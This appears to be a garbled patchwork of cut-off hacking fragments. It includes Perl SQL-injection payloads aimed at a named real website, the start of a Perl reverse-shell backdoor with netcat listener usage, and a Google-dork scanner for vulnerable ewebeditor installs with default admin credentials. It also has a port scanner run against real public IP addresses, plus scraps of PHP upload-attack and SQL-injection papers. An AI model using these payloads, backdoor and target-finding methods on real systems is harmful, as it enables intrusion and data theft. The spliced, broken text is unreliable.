#!/usr/bin/perl
#http://www.bjemall.cn/news/news_show.php?id=843 TOM音乐
#';and 1=1;and 1=2
#and ord(mid(version(),1,1))>51
#order by 19
#http://www.bjemall.cn/news/news_show.php?id=843%20and%201=1%20union%20select%

201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 /*
#and 1=1 union select 1,2,3,load_file(char

(asc,asc)),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
#id=843/**/and/**/1=1/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,load_file(char

#by 小杰　thanks for my all friends.

#!/usr/bin/perl
#perl acsql.pl http://localhost/bysj/毕业设计/bysj/湘香珠宝首饰有限公司网站/news_more.asp?id=1086
use IO::Socket;
if (!@ARGV){
print "please inset the url:";
chomp($url=<STDIN>);
}else{
$url=@ARGV[0];
}
if($url !~ /http:\/\//) {
$url= "

--- < 5. File Upload > -----------------------------------------------------

As if PHP hadn't already provided enough to make life easier for the
attacker the language provides automatic support for RFC 1867 based file
upload. Take the following form:

<FORM METHOD="POST" ENCTYPE="multipart/form-data">
<INPUT TYPE="FILE" NAME="hello">
<INPUT TYPE="HIDDEN" NAME="MAX_FILE_S

<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

                           A Study In Scarlet

#!/usr/bin/perl
#usage:
#nc -vv -l -p PORT(default 1988) on your local system first,then
#Perl $0 Remote IP(default 127.0.0.1) Remote_port(default 1988)
#Type 'exit' to exit or press Enter to gain shell when u under the 'console'.
#nc -vv -l -p 1988
#perl backdoor.pl 127.0.0.1 1988

#use strict;
use Socket;
use IO::Socket;
use Cwd;
use IO::Handle;
my $remote      = $ARGV[0]|| "127.0.0.1";
my $rem

#By 小杰 Thanks for my frinds!
#According to "google-php-include-bugs searcher v 0.8". very thanks to they!
#ewebeditor/db/ewebeditor.mdb
#ewebeditor/Admin_Login.asp?action=login
#ewebeditor/admin/login.asp?action=login&usr=admin&pwd=admin
use IO::Socket;
@zones = ("com", "net", "org", "de", "fr", "uk", "br", "am",
       

#filetype:$ftype site:$zone inurl:$inc
#http://www.google.com/search?filter=0&num=100&start=000&q=site:cn filetype:asp inurl:ewebeditor FCKeditor
#http://www.google.cn/search?num=100&start=100&q=site:cn%20filetype:asp%20inurl:ewebeditor
#http://www.google.cn/search?num=100&complete=1&hl=zh-CN&newwindow=1&q=site%3Acn+filetype%3Aasp+inurl%3Aewebeditor&meta=&aq=f
#http://www.google.cn/search?num=100&q=site%3Acn+filetype%3Aasp

#By 小杰
#ActivePerl 5.8.8 Build 822
#C:\>cd c:\perl
#C:\Perl>perl tcpportscan.pl 209.85.165.99 21-25
#C:\Perl>perl tcpportscan.pl 222.247.169.134-254 80-81

use IO::Socket;
use Socket;
#use strict;
#$|=1;
$ARGC = @ARGV;
if ($ARGC != 2) {
print "[+]Usage: perl $0 <ip-list> <port-list>\n";
print "[+]Usage: perl $0 192.168.1.1 21-25\n";
        print

           
    Sql Injection Paper                      
           
     By zeroday.          
        zeroday [ at ] blac